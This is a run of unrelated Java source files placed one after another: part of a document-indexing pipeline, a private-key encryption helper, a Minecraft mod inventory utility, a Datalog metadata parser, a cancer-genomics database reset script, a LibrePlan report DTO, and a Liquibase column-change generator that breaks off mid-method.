//List<ResultItem> retlist = el.retlistid; //List<ResultItem> retlistnot = el.retlistnotid; Map<String, String> metadata = el.metadata; log.info("incTikas {}", dbfilename); Queues.convertTimeoutQueue.add(dbfilename.toString()); int size = 0; //String content = new TikaHandler().getString(el.fsData.getInputStream()); //Inmemory inmemory = InmemoryFactory.get(MyConfig.conf.getInmemoryServer(), MyConfig.conf.getInmemoryHazelcast(), MyConfig.conf.getInmemoryRedis()); //InmemoryMessage message = inmemory.send(el.md5, content); InmemoryMessage message = FileSystemDao.readFile(el.fsData.fileObject[0]); el.message = message; log.info("file " + el.fsData.fileObject[0].object); log.info("file " + el.fsData.absolutePath); String converterString = MyConfig.conf.getConverters(); Converter[] converters = JsonUtil.convert(converterString, Converter[].class); Inmemory inmemory = InmemoryFactory.get(MyConfig.conf.getInmemoryServer(), MyConfig.conf.getInmemoryHazelcast(), MyConfig.conf.getInmemoryRedis()); String origcontent = inmemory.read(message); String mimetype = getMimetype(origcontent, Paths.get(filename.object).getFileName().toString()); // null mime isbn InmemoryMessage str = null; for (int i = 0; i < converters.length; i++) { Converter converter = converters[i]; if (converter.getMimetypes().length > 0) { if (!Arrays.asList(converter.getMimetypes()).contains(mimetype)) { continue; } } if (converter.getSuffixes().length > 0) { String myfilename = el.filename.object.toLowerCase(); if (!Arrays.asList(converter.getMimetypes()).stream().anyMatch(myfilename::endsWith)) { continue; } } // TODO error long now = System.currentTimeMillis(); str = ConvertDAO.convert(converter, message, metadata, Paths.get(filename.object).getFileName().toString()); long time = System.currentTimeMillis() - now; if (str != null) { el.convertsw = converter.getName(); el.index.setConverttime("" + time); inmemory.delete(el.message); break; } } el.mimetype = mimetype; log.info("Mimetype {}", mimetype); if (mimetype != null) { metadata.put(Constants.FILESCONTENTTYPE, mimetype); } if (str != null) { String content = inmemory.read(str); String lang = null; try { LanguageDetect languageDetect = LanguageDetectFactory.getMe(LanguageDetectFactory.Detect.OPTIMAIZE); lang = languageDetect.detect(content); if (lang != null && languageDetect.isSupportedLanguage(lang)) { long now = System.currentTimeMillis(); String classification = ClassifyDao.classify(str, lang); long time = System.currentTimeMillis() - now; log.info("classtime " + dbfilename + " " + time); //System.out.println("classtime " + time); el.index.setTimeclass("" + time); el.index.setClassification(classification); } if (lang != null) { el.index.setLanguage(lang); } } catch (Exception e) { log.error(Constants.EXCEPTION, e); } try { el.index.setIsbn(new ISBNUtil().extract(content, false)); log.info("ISBN {}", el.index.getIsbn()); } catch (Exception e) { log.error(Constants.EXCEPTION, e); } //size = SearchLucene.indexme("all", md5, inputStream); IndexQueueElement elem = new IndexQueueElement(null, md5, index, el.retlistid, el.retlistnotid, dbfilename, metadata, str); elem.lang = lang; //elem.content = content; //Inmemory inmemory = InmemoryFactory.get(config.getInmemoryServer(), config.getInmemoryHazelcast(), config.getInmemoryRedis()); //Inmemory inmemory2 = InmemoryFactory.get(MyConfig.conf.getInmemoryServer(), MyConfig.conf.getInmemoryHazelcast(), MyConfig.conf.getInmemoryRedis()); //InmemoryMessage message = inmemory2.send(el.md5, content); elem.message = str; Queues.indexQueue.add(elem); } else { log.info("Too small " + dbfilename + " / " + filename + " " + md5 + " " + size); FileLocation aFl = el.index.getaFilelocation(); ResultItem ri = IndexFiles.getResultItem(el.index, el.index.getLanguage(), ControlService.nodename, aFl); ri.get().set(IndexFiles.FILENAMECOLUMN, dbfilename); MyList<ResultItem> retlistnot = (MyList<ResultItem>) MyLists.get(el.retlistnotid); retlistnot.add(ri); Boolean isIndexed = index.getIndexed(); if (isIndexed == null || isIndexed.booleanValue() == false) { index.incrFailed(); //index.save(); } index.setPriority(1); // file unlock dbindex // config with finegrained distrib IndexFilesDao.add(index); } boolean success = Queues.tikaTimeoutQueue.remove(dbfilename); if (!success) { log.error("queue not having " + dbfilename); } log.info("ending " + el.md5 + " " + el.dbfilename); } private String getMimetype(String content, String filename) { try { Path tempPath = Paths.get("/tmp", filename); Files.deleteIfExists(tempPath); Path tempFile = Files.createFile(Paths.get("/tmp", filename)); log.info("File " + filename + " " + tempFile.toString()); Files.write(tempFile, content.getBytes()); String mimetype = Files.probeContentType(tempFile); Files.delete(tempFile); return mimetype; } catch (Exception e) { log.error(Constants.EXCEPTION, e); } return null; } }
package com.db.crypto; import com.db.logging.Logger; import com.db.logging.LoggerManager; import java.security.PrivateKey; /** * A convenient private key cryptor class. Used to generate and store * encrypted private keys on disk and in memory. * * @author Dave Longley */ public class PrivateKeyCryptor { /** * The encrypted private key as an EncryptedPrivateKeyInfo ASN.1 structure * in DER encoded format. */ protected byte[] mEncryptedPrivateKey = null; /** * The plain-text public key. */ protected String mPublicKey; /** * The cryptor for the private key password. */ protected Cryptor mPasswordCryptor; /** * The encrypted private key password. */ protected String mEncryptedPassword; /** * The name of the private key file. */ protected String mKeyFilename; /** * The error associated with loading a private key, etc, if any. */ protected String mError; /** * Creates a new private key cryptor. The private key filename and * password for the private key must be set before trying to load * a private key. */ public PrivateKeyCryptor() { mEncryptedPrivateKey = null; mKeyFilename = null; mEncryptedPassword = null; mError = ""; } /** * Creates a new private key cryptor. * * @param keyFilename the name of the file to store the private key in. * @param password the password to store the file with. */ public PrivateKeyCryptor(String keyFilename, String password) { mEncryptedPrivateKey = null; mError = ""; setPrivateKeyFilename(keyFilename); storePasswordInMemory(password); } /** * Convenience method. Encrypts and stores the private key password * in memory. * * @param password the plain-text password to store. * * @return true if successfully stored, false if not. */ protected boolean storePasswordInMemory(String password) { boolean rval = false; getLogger().debug(getClass(), "Creating cryptor for storing encrypted password..."); // get a new password cryptor mPasswordCryptor = new Cryptor(); // store the password mEncryptedPassword = mPasswordCryptor.encrypt(password); if(mEncryptedPassword != null) { rval = true; } return rval; } /** * Convenience method. Retrieves the encrypted private key password from * memory and decrypts it into plain-text. * * @return the decrypted plain-text password or null if there was * an error. */ protected String getDecryptedPassword() { String password = null; if(mPasswordCryptor != null) { password = mPasswordCryptor.decrypt(mEncryptedPassword); } return password; } /** * Stores the private key in memory. * * @param encodedBytes the private key in encoded bytes. * @param password the password for the private key. * * @return true if the private key was stored, false if not. */ protected boolean storePrivateKeyInMemory( byte[] encodedBytes, String password) { boolean rval = false; // store the encrypted private key in memory if(encodedBytes != null) { // store the encrypted private key mEncryptedPrivateKey = Cryptor.encryptPrivateKey(encodedBytes, password); rval = true; } return rval; } /** * Convenience method. Takes a key manager and stores its private key * in an encrypted string. * * @param km the key manager to get the private key from. * @param password the password to store the private key with. * * @return true if successfully stored, false if not. */ protected boolean storePrivateKeyInMemory(KeyManager km, String password) { boolean rval = false; // store the encrypted private key in memory if(km.getPrivateKey() != null) { // store the encrypted private key byte[] encodedBytes = km.getPrivateKey().getEncoded(); rval = storePrivateKeyInMemory(encodedBytes, password); } return rval; } /** * Clears the private key from memory. */ protected void clearPrivateKeyFromMemory() { mEncryptedPrivateKey = null; System.gc(); } /** * Loads the private key from disk and encrypts it into memory. * * @param password the password for unlocking the key. * * @return true if successful, false if not. */ protected boolean loadPrivateKeyFromFile(String password) { boolean rval = false; // see if we can load the private key from disk if(getPrivateKeyFilename() != null) { // create a key manager for loading the private key KeyManager km = new KeyManager(); boolean loaded = false; if(getPrivateKeyFilename().toLowerCase().endsWith(".pem")) { // load private key from PEM format loaded = km.loadPEMPrivateKeyFromFile( getPrivateKeyFilename(), password); } else { // load private key from DER format loaded = km.loadPrivateKeyFromFile( getPrivateKeyFilename(), password); } if(loaded) { // store private key in memory storePrivateKeyInMemory(km, password); rval = true; } else { // set error from key manager setError(km.getError()); // this is not an error condition, the password is just wrong getLogger().debug(getClass(), "Unable to unlock private key -- invalid password!"); } } return rval; } /** * Stores a private key from the given key manager on disk. * * @param km the key manager that has the private key to store. * @param password the password to store the key with. * * @return true if the private key was successfully stored, false if not. */ protected boolean storePrivateKeyInFile(KeyManager km, String password) { boolean rval = false; // see if we can save the private key to disk if(getPrivateKeyFilename() != null) { boolean stored = false; if(getPrivateKeyFilename().toLowerCase().endsWith(".pem")) { // store private key in PEM format stored = km.storePEMPrivateKey( getPrivateKeyFilename(), password); } else { // store private key in DER format stored = km.storePrivateKey( getPrivateKeyFilename(), password); } if(stored) { // store private key in memory storePrivateKeyInMemory(km, password); rval = true; } else { // set error from key manager setError(km.getError()); getLogger().error(getClass(), "Unable to store private key!"); } } return rval; } /** * Generates a new set of public and private keys. Will overwrite * the old keys stored in memory. The private key will not be written to * disk. * * @param km the key manager to use to generate the key pair. * @param password the password to use. * * @return true if successful, false if not. */ protected boolean generateKeysInMemory(KeyManager km, String password) { boolean rval = false; if(password != null) { // generate a pair of public/private keys if(km.generateKeyPair("DSA")) { // store the new password if(storePasswordInMemory(password)) { // get the private key password // we decrypt the password here to verify that it // was stored in memory password = getDecryptedPassword(); if(password != null) { // store the private key in memory if(storePrivateKeyInMemory(km, password)) { // store the public key in memory mPublicKey = km.getPublicKeyString(); rval = true; } else { getLogger().error(getClass(), "Could not store private key in memory!"); } } else { getLogger().error(getClass(), "Could not decrypt password!"); } } else { getLogger().error(getClass(), "Could not store encrypted password in memory!"); } } else { getLogger().error(getClass(), "Could not generate key pair!"); } } else { getLogger().error(getClass(), "Password not set, cannot generate keys!"); } return rval; } /** * Gets the decrypted private key. This method will try to load the * private key from disk if it isn't available in memory. * * @param password the password to unlock the private key. * * @return the decrypted private key or null if it cannot be loaded. */ protected PrivateKey getPrivateKey(String password) { PrivateKey rval = null; // check the password if(password != null) { // see if there is an encrypted private key in memory if(mEncryptedPrivateKey != null) { byte[] decrypted = Cryptor.decryptPrivateKey( mEncryptedPrivateKey, password); // decode the decrypted bytes rval = KeyManager.decodePrivateKey(decrypted); } else { // try to load private key from disk if(loadPrivateKeyFromFile(password)) { // run getPrivateKey() again, this time the encrypted // private key should be in memory rval = getPrivateKey(); } } } else { getLogger().error(getClass(), "Error while retrieving private key -- password is null!"); } return rval; } /** * Gets the encrypted private key. This method will try to load the * private key from disk if it isn't available in memory. * * @param password the password to unlock the private key if necessary. * * @return the encrypted private key or null if it cannot be loaded. */ protected byte[] getEncryptedPrivateKey(String password) { byte[] rval = null; if(mEncryptedPrivateKey == null) { // load the private key if(getPrivateKey() != null) { rval = mEncryptedPrivateKey; } } else { rval = mEncryptedPrivateKey; } return rval; } /** * Sets the error that occurred. * * @param error the error to set. */ public void setError(String error) { mError = error; } /** * Generates a new set of public and private keys using the * password and keyfile in memory. Will overwrite the old keys stored * in memory and write the private key to disk. * * @return true if successful, false if not. */ public boolean generateKeys() { return generateKeys(getPrivateKeyFilename(), getDecryptedPassword()); } /** * Generates a new set of public and private keys using the private key * filename in memory. Will overwrite the old keys stored in memory and * write the private key to disk. * * @param password the password to use. * * @return true if successful, false if not. */ public boolean generateKeys(String password) { return generateKeys(getPrivateKeyFilename(), password); } /** * Generates a new set of public and private keys. Will overwrite * the old keys stored in memory and save the private key on disk. * * @param keyFilename the private key filename to use. * @param password the password to use. * * @return true if successful, false if not. */ public boolean generateKeys(String keyFilename, String password) { boolean rval = false; // create a key manager for generating keys KeyManager km = new KeyManager(); // generate the keys in memory first if(generateKeysInMemory(km, password)) { // set private key file name setPrivateKeyFilename(keyFilename); // store private key on disk if(storePrivateKeyInFile(km, password)) { rval = true; } else { getLogger().error(getClass(), "Could not store private key on disk!"); } } return rval; } /** * Generates a new set of public and private keys. Will overwrite * the old keys stored in memory. The private key will not be written to * disk. * * @param password the password to use. * * @return true if successful, false if not. */ public boolean generateKeysInMemory(String password) { boolean rval = false; // create a key manager for generating keys KeyManager km = new KeyManager(); // generate the keys in memory if(generateKeysInMemory(km, password)) { rval = true; } return rval; } /** * Decrypts the encrypted in-memory private key password and returns * it in plain-text. * * @return the plain-text password. */ public String getPassword() { return getDecryptedPassword(); } /** * Sets the private key. * * @param pkey the private key. * * @return true if the private key was set, false if not. */ public boolean setPrivateKey(PrivateKey pkey) { boolean rval = false; // store the encrypted private key in memory if(pkey != null) { // store the encrypted private key byte[] encodedBytes = pkey.getEncoded(); rval = storePrivateKeyInMemory(encodedBytes, getDecryptedPassword()); } return rval; } /** * Sets the private key from the passed encrypted key (PEM formatted) * that is locked with the passed password. * * @param pem the encrypted key in a PEM formatted string. * @param password the password to unlock the file. * * @return true if successful, false if not. */ public boolean setPEMEncryptedPrivateKey(String pem, String password) { boolean rval = false; try { KeyManager km = new KeyManager(); // load the PEM encrypted key if(km.loadPEMPrivateKey(pem, password)) { // set this cryptor's password if(setPassword(password)) { // set this cryptor's private key rval = setPrivateKey(km.getPrivateKey()); } } else { getLogger().debug(getClass(), "Could not unlock encrypted PEM private key."); } } catch(Throwable t) { getLogger().error(getClass(), "Unable to load encrypted PEM private key."); getLogger().debug(getClass(), Logger.getStackTrace(t)); } return rval; } /** * Gets the private key as java.security.PrivateKey object. * * @return the private key or null. */ public PrivateKey getPrivateKey() { return getPrivateKey(getDecryptedPassword()); } /** * Gets the private key as a PKCS8(DER encoded)-Base64 string. * * @return the private key or null. */ public String getPrivateKeyString() { String pkey = null; PrivateKey key = getPrivateKey(); if(key != null) { // encode the private key as a base64-encoded string pkey = KeyManager.base64EncodeKey(key); } return pkey; } /** * Gets the private key as a PEM (PKCS8-Base64 with header/footer) string. * * @return the PEM private key or null. */ public String getPEMPrivateKey() { String pem = null; String key = getPrivateKeyString(); if(key != null) { pem = KeyManager.PRIVATE_KEY_PEM_HEADER + "\n" + key + "\n" + KeyManager.PRIVATE_KEY_PEM_FOOTER; } return pem; } /** * Gets the encrypted private key in PEM format * (PKCS8-Base64 with header/footer) string. * * @return the PEM formatted encrypted private key or null. */ public String getPEMEncryptedPrivateKey() { String pem = null; byte[] encryptedKey = getEncryptedPrivateKey(getDecryptedPassword()); if(encryptedKey != null) { String key = KeyManager.base64EncodeKey(encryptedKey); pem = KeyManager.ENCRYPTED_PRIVATE_KEY_PEM_HEADER + "\n" + key + "\n" + KeyManager.ENCRYPTED_PRIVATE_KEY_PEM_FOOTER; } return pem; } /** * Gets the public key as a X.509-Base64 string. * * @return the public key or null. */ public String getPublicKeyString() { return mPublicKey; } /** * Gets the public key as a PEM (X.509-Base64 with a header/footer) string. * * @return the PEM public key or null. */ public String getPEMPublicKey() { String pem = null; String key = getPublicKeyString(); if(key != null) { pem = KeyManager.PUBLIC_KEY_PEM_HEADER + "\n" + key + "\n" + KeyManager.PUBLIC_KEY_PEM_FOOTER; } return pem; } /** * Tries to verify that the password stored in memory unlocks the * private key stored in the private key file. * * @return true if verified, false if not. */ public boolean verify() { return verify(getDecryptedPassword()); } /** * Sets the password and then tries to verify that the password unlocks the * private key stored in the private key file. * * @param password the password to set and verify. * * @return true if verified, false if not. */ public boolean verify(String password) { return verify(getPrivateKeyFilename(), password); } /** * Sets the private key filename and the password and then tries to * verify that the password unlocks the private key stored in the * private key file. This method will clear the current private key * from memory. * * @param keyFilename the private key filename. * @param password the password to set and verify. * * @return true if verified, false if not. */ public boolean verify(String keyFilename, String password) { boolean rval = false; if(setPassword(password)) { // get the private key filename setPrivateKeyFilename(keyFilename); if(getPrivateKey() != null) { rval = true; } } return rval; } /** * Sets the private key password that is stored in memory. This does * not update the private key file. This method will clear the private * key stored in memory. * * @param password the plain-text password. * * @return true if successful, false if not. */ public boolean setPassword(String password) { clearPrivateKeyFromMemory(); return storePasswordInMemory(password); } /** * Sets the private key filename. This method will clear the private key * stored in memory. * * @param keyFilename the name of the private key file. */ public void setPrivateKeyFilename(String keyFilename) { clearPrivateKeyFromMemory(); mKeyFilename = keyFilename; } /** * Gets the previously set private key filename. * * @return the private key filename. */ public String getPrivateKeyFilename() { return mKeyFilename; } /** * Clears the private key password and private key from memory. */ public void clear() { clearPrivateKeyFromMemory(); mPasswordCryptor = null; } /** * Gets the error that was associated with loading a private key, etc, * if there was any. * * @return the error associated with loading a private key, etc, if any. */ public String getError() { return mError; } /** * Gets the logger for this private key cryptor. * * @return the logger for this private key cryptor. */ public Logger getLogger() { return LoggerManager.getLogger("dbcrypto"); } }
package squeek.spiceoflife.helpers; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; import java.util.Random; import net.minecraft.inventory.IInventory; import net.minecraft.item.ItemStack; import net.minecraft.tileentity.TileEntityHopper; import net.minecraft.world.World; import net.minecraftforge.common.util.ForgeDirection; import cpw.mods.fml.relauncher.ReflectionHelper; public class InventoryHelper { public static final Method hopperInsertIntoInventory = ReflectionHelper.findMethod(TileEntityHopper.class, null, new String[]{"func_145899_c", "c"}, IInventory.class, ItemStack.class, int.class, int.class); public static IInventory getInventoryAtLocation(World world, int x, int y, int z) { return TileEntityHopper.func_145893_b(world, x, y, z); } public static ItemStack insertStackIntoInventory(ItemStack itemStack, IInventory inventory) { return TileEntityHopper.func_145889_a(inventory, itemStack, ForgeDirection.UNKNOWN.ordinal()); } /** * Only fill a maximum of one slot * @return The remainder */ public static ItemStack insertStackIntoInventoryOnce(ItemStack itemStack, IInventory inventory) { int originalStackSize = itemStack.stackSize; for (int l = 0; l < inventory.getSizeInventory(); ++l) { try { itemStack = (ItemStack) hopperInsertIntoInventory.invoke(null, inventory, itemStack, l, ForgeDirection.UNKNOWN.ordinal()); } catch (Exception e) { e.printStackTrace(); } if (itemStack == null || itemStack.stackSize != originalStackSize) break; } if (itemStack != null && itemStack.stackSize == 0) { itemStack = null; } return itemStack; } public static List<Integer> getNonEmptySlotsInInventory(IInventory inventory) { List<Integer> nonEmptySlotIndexes = new ArrayList<Integer>(); for (int slotNum = 0; slotNum < inventory.getSizeInventory(); slotNum++) { if (inventory.getStackInSlot(slotNum) != null) nonEmptySlotIndexes.add(slotNum); } return nonEmptySlotIndexes; } public static int getRandomNonEmptySlotInInventory(IInventory inventory, Random random) { List<Integer> nonEmptySlots = getNonEmptySlotsInInventory(inventory); if (nonEmptySlots.size() > 0) return nonEmptySlots.get(random.nextInt(nonEmptySlots.size())); else return 0; } public static ItemStack removeRandomSingleItemFromInventory(IInventory inventory, Random random) { int randomNonEmptySlotIndex = getRandomNonEmptySlotInInventory(inventory, random); if (inventory.getStackInSlot(randomNonEmptySlotIndex) != null) return inventory.decrStackSize(randomNonEmptySlotIndex, 1); else return null; } }
package chord.logicblox; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.util.Arrays; import java.util.HashMap; import java.util.HashSet; import java.util.Locale; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import chord.bddbddb.RelSign; import chord.core.DatalogMetadata; import chord.core.IDatalogParser; import chord.project.ChordException; import chord.project.Messages; import chord.util.Utils; public class LogicBloxParser implements IDatalogParser { private static final Pattern metaCommentPattern = Pattern.compile("^\\s*//\\s*:(inputs|outputs|domains|name):\\s*(.+)\\s*$", Pattern.CASE_INSENSITIVE); private static final Pattern relationSignaturePattern = Pattern.compile("([a-zA-Z_:]+)\\(([^\\)]+)\\)"); // for error messages private File currentFile; private String currentRelation; public LogicBloxParser() { } @SuppressWarnings("resource") // closed by Utils.close public DatalogMetadata parseMetadata(File file) throws IOException { BufferedReader in = null; try { currentFile = file; in = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8")); DatalogMetadata metadata = new DatalogMetadata(); metadata.setFileName(file.getAbsolutePath()); HashSet<String> domNames = new HashSet<String>(); HashMap<String, RelSign> consumedRels = new HashMap<String, RelSign>(), producedRels = new HashMap<String, RelSign>(); String line; // FIXME this is ok for //-style comments but rule definitions can span lines or be multiple per line while (null != (line = in.readLine())) { Matcher metaMatcher = metaCommentPattern.matcher(line); if (!metaMatcher.matches()) continue; String type = metaMatcher.group(1).toLowerCase(Locale.US), data = metaMatcher.group(2).trim(); if ("inputs".equals(type)) { addRelSigns(consumedRels, data); } else if ("outputs".equals(type)) { addRelSigns(producedRels, data); } else if ("domains".equals(type)) { for (String domName: data.split(",")) domNames.add(domName.trim()); } else if ("name".equals(type)) { if (metadata.getDlogName() != null) throw new ChordException("Got duplicate name entry in: " + file.getAbsolutePath()); metadata.setDlogName(data); } else { throw new ChordException("Unrecognized metadata type: " + type); } } metadata.setMajorDomNames(domNames); metadata.setConsumedRels(consumedRels); metadata.setProducedRels(producedRels); return metadata; } catch (UnsupportedEncodingException e) { // by standard, utf-8 is always supported throw new ChordException("UTF-8 not supported?", e); } finally { currentRelation = null; currentFile = null; Utils.close(in); } } /** * Adds the relation signatures corresponding to an <tt>inputs</tt> or * <tt>outputs</tt> declaration. * * @param signMap the signature map to populate * @param data the signature list in string format */ private void addRelSigns(Map<String, RelSign> signMap, String data) { Matcher sigMatcher = relationSignaturePattern.matcher(data); while (sigMatcher.find()) { String relName = sigMatcher.group(1), sigData = sigMatcher.group(2); currentRelation = relName; RelSign sign = parseRelationSignature(sigData); if (signMap.containsKey(relName)) { Messages.warn("%s has multiple signatures, replacing %s with %s.", relName, signMap.get(relName), sign); } signMap.put(relName, sign); } } /** * Parses the domain names out of a signature list. * * <p>Unless manually specified, minor numbers are assigned in order * of occurrence of a particular name starting from 0. * <p> * For a list should be of the form:<br /> * <tt>A, B, A</tt><br /> * Will return a signature with:<br /> * <tt>A0, B0, A1</tt> * <p> * If any minor number is specified for a given relation, then all minor numbers must * be specified. * <p> * The returned signature will have an arbitrary domain order (which is a BDD-specific concept). * * @param signature the signature to parse * @return the relation signature */ private RelSign parseRelationSignature(String signature) { String[] sigParts = signature.split(","); for (int i = 0; i < sigParts.length; ++i) sigParts[i] = sigParts[i].trim(); String[] domNames; if (areMinorsSpecified(sigParts)) { domNames = sigParts; } else { HashMap<String, Integer> numMap = new HashMap<String, Integer>(); domNames = new String[sigParts.length]; for (int i = 0; i < sigParts.length; ++i) { String domain = sigParts[i]; Integer num = numMap.get(domain); if (num == null) num = 0; domNames[i] = domain + num; numMap.put(domain, num + 1); } } // LB has no concept of var order, so we just make one up String varOrder = Utils.join(Arrays.asList(domNames), "x"); return new RelSign(domNames, varOrder); } /** * Checks whether all or no minor numbers are specified. If they * are only partially specified an exception is thrown. * * @param domains the domain specs to check * @return <code>true</code> if all minors are specified or <code>false</code> is none are * @throws ChordException if minors are only partially specified */ private boolean areMinorsSpecified(String[] domains) { String first = domains[0]; boolean firstHasMinors = Character.isDigit(first.charAt(first.length() - 1)); for (int i = 1; i < domains.length; ++i) { String sigPart = domains[i]; boolean hasMinor = Character.isDigit(sigPart.charAt(sigPart.length() - 1)); if (hasMinor != firstHasMinors) { throw new ChordException(String.format( "Minor domains only partially specified for relation %s in %s", currentRelation, currentFile )); } } return firstHasMinors; } }
package org.mskcc.cgds.scripts; import org.mskcc.cgds.dao.*; import org.mskcc.cgds.model.SecretKey; import org.mskcc.cgds.util.DatabaseProperties; /** * Empty the database. * * @author Ethan Cerami * @author Arthur Goldberg goldberg@cbio.mskcc.org */ public class ResetDatabase { public static final int MAX_RESET_SIZE = 6; /** * Remove all records from any size database. * Whenever a new Dao* class is defined, must add its deleteAllRecords() method here. * * @throws DaoException */ public static void resetAnySizeDatabase() throws DaoException { DaoUser.deleteAllRecords(); //DaoUserAccessRight.deleteAllRecords(); DaoTypeOfCancer.deleteAllRecords(); DaoCancerStudy.deleteAllRecords(); DaoMicroRna daoMicroRna = new DaoMicroRna(); daoMicroRna.deleteAllRecords(); DaoGeneOptimized daoGene = DaoGeneOptimized.getInstance(); daoGene.deleteAllRecords(); DaoCase daoCase = new DaoCase(); daoCase.deleteAllRecords(); DaoGeneticAlteration daoGenetic = DaoGeneticAlteration.getInstance(); daoGenetic.deleteAllRecords(); DaoMicroRnaAlteration daoMicroRnaAlteration = DaoMicroRnaAlteration.getInstance(); daoMicroRnaAlteration.deleteAllRecords(); DaoMutSig daoMutSig = DaoMutSig.getInstance(); daoMutSig.deleteAllRecords(); DaoGeneticProfile daoGeneticProfile = new DaoGeneticProfile(); daoGeneticProfile.deleteAllRecords(); DaoCaseList daoCaseList = new DaoCaseList(); daoCaseList.deleteAllRecords(); DaoClinicalData daoClinicalData = new DaoClinicalData(); daoClinicalData.deleteAllRecords(); DaoMutation daoMutation = DaoMutation.getInstance(); daoMutation.deleteAllRecords(); DaoMutationFrequency daoMutationFrequency = new DaoMutationFrequency(); daoMutationFrequency.deleteAllRecords(); DaoGeneticProfileCases daoGeneticProfileCases = new DaoGeneticProfileCases(); daoGeneticProfileCases.deleteAllRecords(); DaoInteraction daoInteraction = DaoInteraction.getInstance(); daoInteraction.deleteAllRecords(); DaoProteinArrayData.getInstance().deleteAllRecords(); DaoProteinArrayInfo.getInstance().deleteAllRecords(); DaoProteinArrayTarget.getInstance().deleteAllRecords(); } public static void resetDatabase() throws DaoException { // safety measure: don't reset a big database if (MAX_RESET_SIZE < DaoCancerStudy.getCount()) { throw new DaoException("Database has " + DaoCancerStudy.getCount() + " studies, and we don't reset a database with more than " + MAX_RESET_SIZE + " records."); } else { resetAnySizeDatabase(); } } public static void main(String[] args) throws DaoException { StatDatabase.statDb(); ResetDatabase.resetDatabase(); System.err.println("Database Cleared and Reset."); } }
package org.libreplan.business.reports.dtos; import java.util.Date; import java.util.Set; import org.joda.time.LocalDate; import org.joda.time.LocalTime; import org.libreplan.business.labels.entities.Label; import org.libreplan.business.resources.entities.Resource; import org.libreplan.business.workingday.EffortDuration; import org.libreplan.business.workreports.entities.WorkReportLine; import org.libreplan.business.workreports.valueobjects.DescriptionValue; public class HoursWorkedPerResourceDTO implements Comparable { private String workerName; private Date date; private String clockStart; private String clockFinish; private EffortDuration effort; private String orderElementCode; private String orderElementName; private String descriptionValues; private String labels; private HoursWorkedPerResourceDTO self; public HoursWorkedPerResourceDTO(Resource resource, WorkReportLine workReportLine) { this.workerName = resource.getName(); this.date = workReportLine.getDate(); LocalTime clockStart = workReportLine.getClockStart(); this.clockStart = (clockStart != null) ? clockStart.toString("HH:mm") : ""; LocalTime clockFinish = workReportLine.getClockFinish(); this.clockFinish = (clockFinish != null) ? clockFinish .toString("HH:mm") : ""; this.effort = workReportLine.getEffort(); this.orderElementCode = workReportLine.getOrderElement().getCode(); this.orderElementName = workReportLine.getOrderElement().getName(); this.descriptionValues = descriptionValuesAsString(workReportLine.getDescriptionValues()); Set<Label> labels = workReportLine.getLabels(); if (workReportLine.getOrderElement() != null) { labels.addAll(workReportLine.getOrderElement().getLabels()); } this.labels = labelsAsString(labels); this.self = this; } private String labelsAsString(Set<Label> labels) { String result = ""; for (Label label: labels) { result = label.getType().getName() + ": " + label.getName() + ", "; } return (result.length() > 0) ? result.substring(0, result.length() - 2) : result; } private String descriptionValuesAsString(Set<DescriptionValue> descriptionValues) { String result = ""; for (DescriptionValue descriptionValue: descriptionValues) { result = descriptionValue.getFieldName() + ": " + descriptionValue.getValue() + ", "; } return (result.length() > 0) ? result.substring(0, result.length() - 2) : result; } public EffortDuration getEffort() { return effort; } public void setEffort(EffortDuration effort) { this.effort = effort; } public String getClockStart() { return clockStart; } public void setClockStart(String clockStart) { this.clockStart = clockStart; } public String getClockFinish() { return clockFinish; } public void setClockFinish(String clockFinish) { this.clockFinish = clockFinish; } public String getWorkerName() { return workerName; } public void setWorkerName(String workerName) { this.workerName = workerName; } public Date getDate() { return LocalDate.fromDateFields(date).toDateTimeAtStartOfDay().toDate(); } public void setDate(Date date) { this.date = date; } public String getOrderElementCode() { return orderElementCode; } public void setOrderElementCode(String orderElementCode) { this.orderElementCode = orderElementCode; } public String getOrderElementName() { return orderElementName; } public void setOrderElementName(String orderElementName) { this.orderElementName = orderElementName; } public String getDescriptionValues() { return descriptionValues; } public void setDescriptionValues(String descriptionValues) { this.descriptionValues = descriptionValues; } public String getLabels() { return labels; } public void setLabels(String labels) { this.labels = labels; } @Override public int compareTo(Object o) { return this.workerName .compareTo(((HoursWorkedPerResourceDTO) o).workerName); } /** * @return the self */ public HoursWorkedPerResourceDTO getSelf() { return self; } /** * @param self * the self to set */ public void setSelf(HoursWorkedPerResourceDTO self) { this.self = self; } }
package liquibase.diff.output.changelog.core; import liquibase.change.AddColumnConfig; import liquibase.change.Change; import liquibase.change.core.*; import liquibase.database.Database; import liquibase.database.core.MSSQLDatabase; import liquibase.database.core.OracleDatabase; import liquibase.database.core.PostgresDatabase; import liquibase.datatype.DataTypeFactory; import liquibase.datatype.LiquibaseDataType; import liquibase.datatype.core.BooleanType; import liquibase.diff.Difference; import liquibase.diff.ObjectDifferences; import liquibase.diff.output.DiffOutputControl; import liquibase.diff.output.changelog.AbstractChangeGenerator; import liquibase.diff.output.changelog.ChangeGeneratorChain; import liquibase.diff.output.changelog.ChangedObjectChangeGenerator; import liquibase.logging.LogFactory; import liquibase.statement.DatabaseFunction; import liquibase.structure.DatabaseObject; import liquibase.structure.core.*; import liquibase.util.ISODateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.List; public class ChangedColumnChangeGenerator extends AbstractChangeGenerator implements ChangedObjectChangeGenerator { @Override public int getPriority(Class<? extends DatabaseObject> objectType, Database database) { if (Column.class.isAssignableFrom(objectType)) { return PRIORITY_DEFAULT; } return PRIORITY_NONE; } @Override public Class<? extends DatabaseObject>[] runAfterTypes() { return new Class[] { Table.class }; } @Override public Class<? extends DatabaseObject>[] runBeforeTypes() { return new Class[] { PrimaryKey.class }; } @Override public Change[] fixChanged(DatabaseObject changedObject, ObjectDifferences differences, DiffOutputControl control, Database referenceDatabase, Database comparisonDatabase, ChangeGeneratorChain chain) { Column column = (Column) changedObject; if (column.getRelation() instanceof View) { return null; } if (column.getRelation().getSnapshotId() == null) { //not an actual table, maybe an alias, maybe in a different schema. Don't fix it. return null; } List<Change> changes = new ArrayList<Change>(); handleTypeDifferences(column, differences, control, changes, referenceDatabase, comparisonDatabase); handleNullableDifferences(column, differences, control, changes, referenceDatabase, comparisonDatabase); handleDefaultValueDifferences(column, differences, control, changes, referenceDatabase, comparisonDatabase); handleAutoIncrementDifferences(column, differences, control, 